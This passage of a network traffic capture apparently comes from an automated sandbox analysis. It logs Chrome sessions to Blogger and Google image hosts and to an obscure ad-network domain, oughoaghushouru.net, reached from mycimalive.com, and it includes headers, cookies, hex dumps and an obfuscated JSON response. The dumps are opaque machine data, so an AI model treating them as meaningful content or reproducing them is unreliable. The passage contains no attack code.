2024-10-14 22:39:50 UTC	1378	IN	Data Raw: 8c 0e 17 b0 fd c1 dc d7 99 a3 15 0e 2d 50 9a b2 ec dd ce 2a 99 28 5e ce f7 70 3e 74 a9 44 24 5a fe 1a db 1c 4b 29 ce 12 37 eb 81 9c e7 be 77 38 f6 e9 df a8 ae 27 2a 76 a8 f5 3f 48 c4 d6 4b fc 1c dd cf 57 9a cc b2 83 b6 bd 23 be d8 07 3d 06 d4 ae 1a fc 9e ff 00 2e a3 43 4e 5a e0 92 39 8e 18 d5 9e 59 98 24 4a a3 2c 64 93 01 70 3a fa 57 3f 4c d7 5d 3b 74 71 e7 23 d2 4f c3 17 e0 e2 2b 01 04 b7 51 bc 97 72 2f 98 a8 a2 51 1c 5a 54 6a f3 a4 4c 21 2b a8 69 59 19 54 b1 25 55 c8 ca f7 71 63 70 5b 38 b9 32 36 f6 74 47 36 78 55 04 d1 88 ee 22 42 8c c1 42 e6 6c 31 6c 80 18 47 9c 83 ec de 9c f5 a7 f4 52 d3 17 f7 2b c3 ce cf c6 07 e1 b0 f0 69 e3 ba b6 d4 f6 ee 1b 31 10 c4 a0 42 0b 00 fa 42 10 9a 97 49 66 d5 83 83 fc 43 8f c8 e3 bc 6e d7 87 53 0f 21 cb 45 fd f8 18 f1 49 Data Ascii: -P(^p>tD$ZK)7w8'v?HKW#=.CNZ9Y$J,dp:W?L];tq#O+Qr/QZTjL!+iYT%Uqcp[826tG6xU"BBl1lGR+i1BBIfCnS!EI
2024-10-14 22:39:51 UTC	1378	IN	Data Raw: 4a 20 c7 a1 4b 2a e4 0d 89 1e f5 e9 a3 a3 c8 cd 6e c0 9c 47 8e ba cb 22 30 4d 00 27 96 51 89 90 b1 04 c9 e6 02 a1 54 02 54 20 52 dd 18 9c 64 00 d4 c8 a2 46 63 e6 19 9a 59 c3 c6 89 0a 79 6b 6e e2 42 d2 ca 4a 96 99 9d 34 84 8d 15 8a a2 00 cc ec 44 84 e9 1a 01 34 5a 88 73 84 71 83 f3 c6 fb 7f af eb 44 ca 92 21 7e 3d f2 2b f1 3e 1d 75 6f e5 2a cf 14 df 98 e1 f8 6d 7e 73 44 9a a3 27 21 7c b7 93 53 c2 d1 9c 8c 8c 82 43 0a cd 97 1b 92 d0 dc 53 49 ec a2 3f 05 fe 25 98 a5 8f 86 b4 8c 90 ce 65 92 d8 30 df cd 4d 4b 73 62 d9 dd 1a 39 0e b0 3e 20 15 86 3d 0c 06 1c 0a 4a 61 66 f9 2b 3b 0e 3b 11 86 42 a4 47 30 27 cb 6d b4 86 18 91 32 a7 6e b9 18 3d 0d 75 99 cb a3 91 ff 00 1f bf 86 96 b9 82 db 8b 59 44 5e 4e 19 6a 6d ee 2d a2 5d 72 cf 62 ae 19 1e 3e af 23 d9 93 2c 82 20 Data Ascii: J KnG"0M'QTT RdFcYyknBJ4D4ZsqD!~=+>uom~sD'!\|SCSI?%e0MKsb9> =Jaf+;;BG0'm2n=uYD^Njm-]rb>#,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.6	49771	142.250.185.161	443	432	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-14 22:39:50 UTC	912	OUT	GET /img/b/R29vZ2xl/AVvXsEgjZ2wuKeUDSK0w0px0GXL68U_8hwq1x5ZclkWCM98U9Ltg9k2_fStCvFHrkzRLxxZVYq7jlZaFiIgcOW8JZoS2lKtioQGF1vv9slVlt_ouF_EqPViGpjWvfaenf-2iPUqjKS5r_wuN-QzxQcfliUgCiY9Ct5yAPJg633GzebpgmYyXjriEqb8IE-6OF_RL/s320/IMG_20240913_023407_864.jpg HTTP/1.1 Host: blogger.googleusercontent.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.mycimalive.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-14 22:39:50 UTC	484	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Vary: Origin Access-Control-Expose-Headers: Content-Length ETag: "v1b5" Expires: Tue, 15 Oct 2024 22:39:50 GMT Cache-Control: public, max-age=86400, no-transform Content-Disposition: inline;filename="IMG_20240913_023407_864.jpg" X-Content-Type-Options: nosniff Date: Mon, 14 Oct 2024 22:39:50 GMT Server: fife Content-Length: 34207 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-10-14 22:39:50 UTC	894	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff e1 00 2a 45 78 69 66 00 00 49 49 2a 00 08 00 00 00 01 00 31 01 02 00 07 00 00 00 1a 00 00 00 00 00 00 00 47 6f 6f 67 6c 65 00 00 ff db 00 84 00 03 02 02 0a 0a 0a 08 0a 0a 0a 0a 0a 0a 08 08 08 0a 0a 0a 0a 0d 0a 0a 08 0a 08 08 08 08 08 08 08 0a 0a 08 08 08 0a 08 08 08 08 08 08 08 0a 08 0a 0a 0a 0a 0a 0a 08 08 0b 0d 0a 08 0d 08 08 0a 08 01 03 04 04 06 05 06 0a 06 06 0a 10 0d 0a 0e 0f 0d 0f 0f 0d 0f 0f 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d 0d ff c0 00 11 08 01 40 01 00 03 01 11 00 02 11 01 03 11 01 ff c4 00 1d 00 00 00 07 01 01 01 00 00 00 00 00 00 00 00 00 00 02 03 04 05 06 07 08 01 09 00 ff c4 00 50 10 00 02 Data Ascii: JFIFExifII1Google@P
2024-10-14 22:39:50 UTC	1378	IN	Data Raw: e2 c7 0f 87 89 20 88 a8 d4 ac 2d 3a 2c 91 12 c8 5c 0d 48 ea d6 e6 2e 2e 07 2c 02 c8 9a b0 e8 4f 95 f6 59 e4 8e 59 51 75 47 07 0b 88 db 0d 3c 62 cb 15 c1 20 9d 6c a4 00 01 de d7 b5 c6 1d e4 8a 69 79 19 aa 16 a7 62 24 e1 ac ba 2d 1b 3b 46 1b 6b 17 45 46 65 b5 ee 2c 1d 6c 48 b1 de c4 e9 6b 2d eb 76 de e3 3e 07 2c cf bb a9 21 58 5e 55 d2 2a 13 5c 44 90 75 a6 94 6d 43 4b 12 05 a4 4e 60 1d ed cd 5a ca 39 23 2b 4b b0 86 29 b2 fb 72 c1 88 08 a3 6e a4 e1 09 20 07 29 0d cc fd f8 41 50 db 98 f6 72 3b 5f ae 04 51 ea 34 0c 90 1f 2c 20 c4 55 39 05 b9 0c 26 84 27 14 36 c0 6d 62 0c 56 c3 da 10 aa 9e e7 af df 82 18 5d 4f 07 9b 0c 22 31 7a 81 f1 f8 7f cf 08 16 39 50 d2 dc 1b 21 3f 1e 5f 96 11 08 a2 58 9b f8 6d 81 dc 84 45 a3 a5 c6 76 e6 5f da 28 4a 4c 1a 97 91 83 16 8b 06 Data Ascii: -:,\H..,OYYQuG<b liyb$-;FkEFe,lHk-v>,!X^U*\DumCKN`Z9#+K)rn )APr;_Q4, U9&'6mbV]O"1z9P!?_XmEv_(JL
2024-10-14 22:39:50 UTC	1378	IN	Data Raw: 42 f8 21 7e 98 5e e0 bd 94 18 7b 3c cd f5 8e 1d 64 40 bc 34 26 9b b1 27 a3 01 f8 62 65 91 22 07 89 d8 82 7e ce 32 f2 37 fb f1 27 b8 41 28 70 19 1d 1b 81 ba e0 d6 42 b4 b1 d8 d1 55 4a 4f d9 f9 e2 4d fe 01 f6 86 a9 72 b6 bf 2c 2b 63 38 50 5b e5 8d 6e 5f 86 15 b1 50 87 f7 5b 93 60 0f e3 fd 30 ad 8d 43 95 1f 62 87 37 60 3d 36 c2 dc c4 d0 83 38 cb 91 76 52 4e 16 e1 b6 d8 c5 13 9c 65 ee 45 95 8d f7 1c 20 6c 0b 9d 05 ed 0f 14 d0 02 05 d8 0f bf fa 62 3f 78 9d 62 1c a9 8e 1b 7b 7c 85 b2 87 78 0e 22 f7 18 e9 0b a2 00 e1 6f 64 9b 2c 39 a9 36 c2 df e4 7f 69 10 de d1 4a e3 ed 5b e1 b6 26 8c 95 0f ed 91 29 b2 6d 7f 6f 73 d3 a6 0f 78 eb 18 b3 2d ec 1c 97 bd ff 00 3c 37 b8 1e c4 4e f2 78 4c 62 d6 bf cc df 0b dc 02 78 ef a0 e2 f9 d0 6d 88 1e a3 72 7e 76 c3 ef 44 7e c8 bd Data Ascii: B!~^{<d@4&'be"~27'A(pBUJOMr,+c8P[n_P[`0Cb7`=68vRNeE lb?xb{\|x"od,96iJ[&)mosx-<7NxLbxmr~vD~
2024-10-14 22:39:50 UTC	1378	IN	Data Raw: bd 3d 4c 91 c8 97 20 b4 72 43 13 c6 e0 1d 88 0c 4a dc 06 0a 4d b1 6e 18 65 25 68 a3 97 59 18 ca 99 2a ee 93 bd 3a 2c de 27 9e 81 a5 9a 04 72 86 67 82 68 22 32 0b 5d 11 aa 23 8f 88 cb 7f 16 80 c1 79 12 0d 81 09 e3 70 ea 3e 2d 4a c8 f8 1c bb cc ed f5 26 55 4e d5 75 a6 48 a9 a3 28 1e 64 8a 59 91 0c 8e b1 a0 7e 02 48 c8 1d d9 50 33 28 5d 4c a2 f7 60 30 f8 e0 e7 c2 1b 36 75 0e 58 97 ba 6e fd 68 33 65 2f 40 6a 66 88 6c 66 34 d5 30 d3 5e e4 10 26 a8 86 28 dc a9 07 52 a3 33 2e d7 02 e2 e5 3c 72 8f 2c 82 19 e3 3e 85 95 fb b8 fa 62 22 d2 61 ab 93 e1 0d b9 06 0c ac e1 0d b9 05 1c 80 9e b8 74 2d e0 1f b2 a2 dd 7e eb 61 74 16 f6 36 cd d9 83 d3 a7 cb 05 ba ba 12 6f 4c fa 3a 06 1b 60 96 46 26 a2 d7 02 93 4a 47 30 70 5e e0 0e 08 ea d3 5f a7 e3 83 53 b2 3d 94 12 f9 52 0c Data Ascii: =L rCJMne%hY*:,'rgh"2]#yp>-J&UNuH(dY~HP3(]L`06uXnh3e/@jflf40^&(R3.<r,>b"at-~at6oL:`F&JG0p^_S=R
2024-10-14 22:39:50 UTC	1378	IN	Data Raw: 00 20 94 02 ec 24 f6 b9 db 6a c8 96 a7 fc 55 c1 29 ec 77 6d e9 6b a9 e2 ab a3 9d 2a 29 e7 04 c7 2c 66 ea 6c 4a b2 9b 80 51 d1 81 57 8d 80 64 60 41 00 8b 62 09 fc 1d 32 f6 39 29 f3 1e 82 f7 90 79 e2 2f 71 13 ec 61 41 87 9e 1d 64 05 c6 56 13 36 1d e4 41 d2 10 4e 98 0f 70 25 0b e8 55 79 26 6f a0 ed 35 48 b1 e4 6c cb 6e a0 86 72 08 f9 63 97 7a 69 2e 8c ec 32 e4 c7 3e 76 22 5f 0d 4c 2c 2f ad 43 ed f6 4c 62 dd 41 d0 57 55 ce fb e2 c4 77 c5 55 99 ce 93 ba e0 61 ae ec f8 04 b0 92 23 7b f8 07 11 af e7 f5 f7 fc 71 7e 19 9b 54 ca 92 85 b1 b1 72 f5 3c c7 9f d5 07 9f eb d7 13 2c 94 0f b6 bc 14 17 b7 47 72 07 30 cb 15 e9 12 56 a9 cb e5 33 88 ed a9 a5 80 c6 56 78 d1 53 73 2a 80 92 a8 f1 16 11 b2 81 76 18 d1 d1 6a 14 65 52 7d 4c 6f 52 d2 b9 43 7c 7b 7f 62 af f6 1b f6 d7 Data Ascii: $jU)wmk),flJQWd`Ab29)y/qaAdV6ANp%Uy&o5Hlnrczi.2>v"_L,/CLbAWUwUa#{q~Tr<,Gr0V3VxSsvjeR}LoRC\|{b
2024-10-14 22:39:50 UTC	1378	IN	Data Raw: c3 3c 56 60 4d ed 74 67 42 3a ab b0 eb 83 f4 cc ef df 4b c9 5b d5 61 17 86 fb a2 c2 f6 4b a6 79 b2 5c a6 a2 59 0b cd 57 47 0c d3 48 d6 d7 24 ac 82 3d 46 ca 05 d6 28 e3 88 6d f5 63 41 bf 3c 0e ba 4e 5a 89 27 d1 74 2b e8 72 a8 60 5c 5b 26 19 8c f1 ad 6e 86 e2 11 49 4e 18 e8 86 79 53 8f 54 da 57 c5 04 32 05 96 1a 78 a4 ba 12 0e 8a d5 6b 6e a4 c9 87 4f 3f 69 b5 dc 83 26 b5 4b 22 be c6 3d f6 9b ce 53 28 ed 4f 67 b3 c8 96 44 86 b8 8a 1c c5 de 29 a0 8b 40 31 c1 c4 77 9a 08 c3 48 29 65 57 51 7b 91 40 bf 54 29 63 af a6 c6 e5 a7 78 a5 db a1 93 9f 2c 5e 6f 76 3d 3b 9e 89 53 4e c2 db ed 7f d1 c6 44 27 38 f0 69 cb 64 a3 66 2b fd 9b b9 32 c8 bd a9 25 e7 53 fe 25 ac 16 8a 59 62 53 b0 37 22 27 50 5b 7e 67 7b 5b 1b fa 9c ae 1b 6b c1 8b 8a 2a 56 3e 7e d4 4e ce aa 76 66 a9 Data Ascii: <V`MtgB:K[aKy\YWGH$=F(mcA<NZ't+r`\[&nINySTW2xknO?i&K"=S(OgD)@1wH)eWQ{@T)cx,^ov=;SND'8idf+2%S%YbS7"'P[~g{[k*V>~Nvf
2024-10-14 22:39:50 UTC	1378	IN	Data Raw: 9b 45 2c 13 4e 63 86 0e 24 8f 2c 9c 18 df 42 eb 54 8c 5e c5 8b ec 08 56 21 b4 98 f6 bb 1b 2c ac d3 9d cd 76 8c 54 65 f4 12 f0 e5 89 8d 2c 01 e2 9e 39 21 9e 29 12 24 49 22 92 29 55 1d 19 19 48 dc 58 ec 41 20 82 64 94 2a 4c 68 be 28 c5 bf b6 7c ff 00 d0 f9 57 fd f0 3f f4 55 38 b1 81 70 06 4e a6 83 f6 56 ec 75 3d 77 64 72 6a 4a 98 d6 5a 7a ac 9a 18 66 8d b9 32 32 15 61 71 ba b0 3b ab 8b 15 60 ac 2c 54 1c 14 93 52 b1 45 5a 3c d3 ac 82 bf bb ce d2 29 06 49 e8 27 04 81 f5 52 bf 2d 76 61 a1 89 1c 31 5b 46 c4 37 86 c5 24 0a 6e b1 54 90 f2 bf 92 02 a8 f4 e7 b7 dd fe d2 54 53 e4 be ec b5 55 54 d9 e4 f4 6e 67 a7 a6 a9 9a 18 32 f2 eb 2c 92 55 b4 50 ba d3 24 ac 89 47 24 72 e9 75 e2 cc 59 55 60 95 92 ba c7 5d 42 6e cb c2 44 f3 fe f7 fb f1 41 c1 22 ca 6a 8f 39 bb d2 92 Data Ascii: E,Nc$,BT^V!,vTe,9!)$I")UHXA d*Lh(\|W?U8pNVu=wdrjJZzf22aq;`,TREZ<)I'R-va1[F7$nTTSUTng2,UP$G$ruYU`]BnDA"j9
2024-10-14 22:39:50 UTC	1378	IN	Data Raw: 6d 65 57 11 3f ae 7f 8e 29 b8 51 d0 a9 d8 61 99 47 33 6f c4 fd d8 6d 96 10 7c 19 98 f8 fc 6d fd 76 c3 38 79 19 ab 16 45 5e 0f a7 e5 85 44 72 8b 14 a5 40 f3 c4 bb 11 13 b4 29 43 ea 30 db 50 0d f9 0f 5c 33 40 d8 2b 7a 1c 08 36 97 50 2c d8 06 3d 9c 69 87 4d ce 03 70 fb ab 96 39 52 9d b7 1b e2 78 e4 4d 15 27 d7 81 49 71 89 56 44 40 d1 c6 71 eb 89 54 93 0b 67 80 6b 20 c4 b1 63 35 5d 45 11 b0 c4 d1 92 b2 06 bc 00 aa 07 6b 7c f0 33 76 c3 82 ec c4 ea 98 8d 86 d5 8e d4 a3 6f ef 7c 5f c2 d2 29 4d 3b e0 36 c3 16 9c 88 d3 67 08 c3 26 11 f1 61 87 b8 88 f8 1c 03 fa 08 01 c4 42 3e b6 10 86 ee d0 e4 11 d4 45 24 32 ae a8 e5 5d 2c 3a fa 11 e4 54 ee 0f 42 06 10 e8 6e ec 37 64 16 92 08 e1 04 b1 45 0a 5c f3 6b 72 26 c0 5b e0 36 b9 38 0a 4b 91 e8 7b 38 8d cc 28 80 79 31 14 a6 Data Ascii: meW?)QaG3om\|mv8yE^Dr@)C0P\3@+z6P,=iMp9RxM'IqVD@qTgk c5]Ek\|3vo\|_)M;6g&aB>E$2],:TBn7dE\kr&[68K{8(y1
2024-10-14 22:39:50 UTC	1378	IN	Data Raw: c3 7b 68 5e e0 31 97 03 d3 0b 62 7d 81 79 5a 3e fd d8 3d 7f 5f 2c 2f 6f e8 2f 77 c8 6a d1 0f 2f c7 12 2c 44 7e e0 7a c1 82 f6 c8 e4 ed 98 2b db 7f 21 69 33 fc 98 b1 58 7f c8 32 d2 ca c3 52 b4 e6 a9 9a 7d 4a 0d d8 45 6a 75 3b 00 a2 71 7d 5a 85 b4 f0 bf e8 34 59 d1 c1 3c c9 da 4f eb d3 b1 78 77 08 f3 54 c7 0f d2 d1 4d 15 3d 5c b1 cd 24 51 3c 72 bc b4 75 07 dd cc 61 a7 93 86 a0 44 c1 d9 8b 71 02 97 4d 08 e3 56 7c 69 3e 13 5f 73 53 d4 26 dd a6 ed fd 0d 18 4e 13 89 cf 9d 57 c1 c5 0c c3 a3 97 97 c7 17 e1 3a 20 9a 74 e8 f3 93 b9 4a 49 63 cd b3 58 b8 86 9c d4 66 59 d9 2a f1 71 1a 19 fd fe a2 4a 47 7e 41 a2 2d 28 76 bf 85 e2 d3 e3 5e 22 e2 3d 64 63 92 36 d7 27 45 a3 9c b0 e2 4a 0f 86 b9 fc fa ff 00 99 b9 7b bd c8 0c 52 d5 48 cc 5d a7 8e 90 48 df 55 38 b0 2c ab 75 Data Ascii: {h^1b}yZ>=_,/o/wj/,D~z+!i3X2R}JEju;q}Z4Y<OxwTM=\$Q<ruaDqMV\|i>_sS&NW: tJIcXfY*qJG~A-(v^"=dc6'EJ{RH]HU8,u
2024-10-14 22:39:51 UTC	1378	IN	Data Raw: 76 99 ad 4c d4 c8 6b 62 48 6a e2 26 2a 94 88 96 83 de 11 55 99 e1 25 98 f0 a4 57 57 55 66 66 4d 45 4b 36 9b 9a 33 5c f1 d0 69 24 9d 26 49 24 a7 c4 7b 50 22 b5 a5 c5 ca 13 3c ef ef eb b4 f2 54 76 b2 ba 39 18 28 ca 32 ea 68 68 f8 4e ba 83 54 c7 15 54 b2 bb 6f a2 53 3c 8a 8d 0b 34 67 82 80 02 82 43 29 b7 97 e3 85 12 7a 6c 77 e7 94 9b e7 b1 a5 68 bb 76 63 cd f2 3a 7e 21 73 5f 45 9a 2c b1 39 8d a4 a7 61 1d 05 44 1f e8 bc 9f 46 c6 96 a6 db ba 31 76 22 40 54 09 6a 62 57 17 41 ea 7c b7 cd f4 ee 5f f3 10 a0 b3 10 aa a0 96 24 80 aa 07 32 49 b0 00 79 9c 3e d6 f8 45 16 d2 ea 61 df 69 cf 6b 8c 8a ba 6a 3c aa 3a ae 37 f9 91 33 56 53 b7 f9 78 2a 23 8d d2 9d 23 a8 57 5d 6f 21 91 83 34 5a a3 0a 74 b3 f8 99 45 d8 e9 e5 18 d8 38 72 c5 e4 5c 91 0e c8 fb 64 8c b4 91 4c 0d 74 Data Ascii: vLkbHj&U%WWUffMEK63\i$&I${P"<Tv9(2hhNTToS<4gC)zlwhvc:~!s_E,9aDF1v"@TjbWA\|_$2Iy>Eaikj<:73VSx##W]o!4ZtE8r\dLt

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.6	49776	142.250.185.105	443	432	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-14 22:39:50 UTC	629	OUT	GET /dyn-css/authorization.css?targetBlogID=6282888993036066443&zx=4f118a4f-0975-433c-acbe-bd56357139a6 HTTP/1.1 Host: www.blogger.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.mycimalive.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-14 22:39:50 UTC	1132	IN	HTTP/1.1 200 OK P3P: CP="This is not a P3P policy! See https://www.google.com/support/accounts/bin/answer.py?hl=en&answer=151657 for more info." Content-Security-Policy: script-src 'self' .google.com .google-analytics.com 'unsafe-inline' 'unsafe-eval' .gstatic.com .googlesyndication.com .blogger.com .googleapis.com uds.googleusercontent.com https://s.ytimg.com https://i18n-cloud.appspot.com https://www.youtube.com www-onepick-opensocial.googleusercontent.com www-bloggervideo-opensocial.googleusercontent.com www-blogger-opensocial.googleusercontent.com https://www.blogblog.com; report-uri /cspreport Content-Type: text/css; charset=UTF-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 14 Oct 2024 22:39:50 GMT Last-Modified: Mon, 14 Oct 2024 22:39:50 GMT X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1; mode=block Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-10-14 22:39:50 UTC	6	IN	Data Raw: 31 0d 0a 0a 0d 0a Data Ascii: 1
2024-10-14 22:39:50 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.6	49778	139.45.197.244	443	432	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-14 22:39:50 UTC	698	OUT	GET /5/8079706/?oo=1&js_build=iclick-v1.976.0&dmn=glakraptaidsupi.net&ix=0&os=windows&os_version=10.0.0&is_mobile=false&browser_version=117.0.5938.134 HTTP/1.1 Host: oughoaghushouru.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.mycimalive.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.mycimalive.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-14 22:39:51 UTC	1397	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 14 Oct 2024 22:39:51 GMT Content-Type: application/json Content-Length: 4023 Connection: close X-Trace-Id: d564bdc5d011c0d77637086b1ec4b8d7 Link: <https://my.rtmark.net>; rel="preconnect dns-prefetch",<https://yonmewon.com>; rel="preconnect dns-prefetch",<https://sr7pv7n5x.com>; rel="preconnect dns-prefetch" Accept-Ch: Sec-CH-UA, Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version Access-Control-Allow-Origin: https://www.mycimalive.com Access-Control-Allow-Credentials: true Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Allow-Headers: Accept, Content-Type, Content-Length, Accept-Encoding, baggage, sentry-trace, favicon Access-Control-Max-Age: 86400 Pragma: no-cache Cache-Control: no-transform, no-store, no-cache, must-revalidate, max-age=0 Expires: Tue, 11 Jan 1994 10:00:00 GMT Timing-Allow-Origin: * Set-Cookie: OAID=0080f523ce504ac9e2ef03a350bc2951; expires=Tue, 14 Oct 2025 22:39:51 GMT; path=/; secure; SameSite=None Set-Cookie: oaidts=1728945591; expires=Tue, 14 Oct 2025 22:39:51 GMT; path=/; secure; SameSite=None Set-Cookie: syncedCookie=; expires=Tue, 10 Nov 2009 23:00:00 GMT Pragma: no-cache Cache-Control: no-store, no-cache, must-revalidate, max-age=0 Expires: Mon, 26 Jul 1997 05:00:00 GMT
2024-10-14 22:39:51 UTC	4023	IN	Data Raw: 7b 22 6f 6f 22 3a 22 63 2e 23 69 36 4d 2e 23 2e 4a 2e 23 2e 34 2e 34 6f 69 5e 33 6f 57 5e 33 69 23 33 6f 69 36 69 2e 29 45 6c 3a 2e 34 2e 6e 36 35 2e 47 33 2e 6a 2e 5f 7a 35 5a 53 76 48 77 73 2a 6c 41 77 6b 41 74 2e 51 5a 2e 40 5e 2e 51 77 4d 2e 40 71 2e 31 48 2e 78 2e 46 2e 40 28 2e 55 2e 67 2e 58 6c 71 7e 42 36 2e 5f 2e 5f 2e 7c 73 2e 6d 2e 78 2e 51 2e 40 2e 5b 2e 2f 2e 51 2e 50 2e 49 2e 51 45 2e 62 2e 46 68 2a 77 33 2e 4f 28 73 2e 66 39 39 59 2e 21 41 3d 6c 2e 31 2e 38 2e 67 2e 30 2e 78 36 3a 6f 2e 38 65 3d 2e 6d 2e 21 2e 4c 2e 58 2e 5f 2e 51 41 2e 46 2e 58 6b 4e 2a 7d 2e 21 73 2e 31 6b 6f 4d 2e 66 2e 40 76 2a 2e 5b 2e 54 7d 2e 6d 2e 6d 2e 4c 5a 2e 50 45 65 3d 28 2e 49 52 2e 54 4d 3a 7a 2e 40 28 71 53 2e 51 52 36 4b 4b 2e 46 3a 2e 55 2e 21 2e 5f 2e 66 Data Ascii: {"oo":"c.#i6M.#.J.#.4.4oi^3oW^3i#3oi6i.)El:.4.n65.G3.j._z5ZSvHwslAwkAt.QZ.@^.QwM.@q.1H.x.F.@(.U.g.Xlq~B6._._.\|s.m.x.Q.@.[./.Q.P.I.QE.b.Fhw3.O(s.f99Y.!A=l.1.8.g.0.x6:o.8e=.m.!.L.X._.QA.F.XkN}.!s.1koM.f.@v.[.T}.m.m.LZ.PEe=(.IR.TM:z.@(qS.QR6KK.F:.U.!._.f

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.6	49780	139.45.197.244	443	432	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-14 22:39:50 UTC	801	OUT	GET /4/8079706?dovr=true&os=windows&os_version=10.0.0&is_mobile=false&browser_version=117.0.5938.134 HTTP/1.1 Host: oughoaghushouru.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://www.mycimalive.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-14 22:39:51 UTC	1397	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 14 Oct 2024 22:39:51 GMT Content-Type: text/html; charset=utf8 Content-Length: 30178 Connection: close X-Trace-Id: 2d8df3d7e238f2ecb29a0dada90dc68b Link: <https://yonmewon.com>; rel="preconnect dns-prefetch",<https://my.rtmark.net>; rel="preconnect dns-prefetch" Accept-Ch: Sec-CH-UA, Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Allow-Headers: Accept, Content-Type, Content-Length, Accept-Encoding, baggage, sentry-trace, favicon Access-Control-Max-Age: 86400 Pragma: no-cache Cache-Control: no-transform, no-store, no-cache, must-revalidate, max-age=0 Expires: Tue, 11 Jan 1994 10:00:00 GMT Timing-Allow-Origin: * Set-Cookie: OAID=0080f52b8e41436deb287525cd342cae; expires=Tue, 14 Oct 2025 22:39:51 GMT; path=/; secure; SameSite=None Set-Cookie: oaidts=1728945591; expires=Tue, 14 Oct 2025 22:39:51 GMT; path=/; secure; SameSite=None Set-Cookie: syncedCookie=; expires=Tue, 10 Nov 2009 23:00:00 GMT Set-Cookie: captcha=player; expires=Mon, 14 Oct 2024 23:39:51 GMT; path=/; secure; SameSite=None Strict-Transport-Security: max-age=1 X-Content-Type-Options: nosniff Timing-Allow-Origin: *
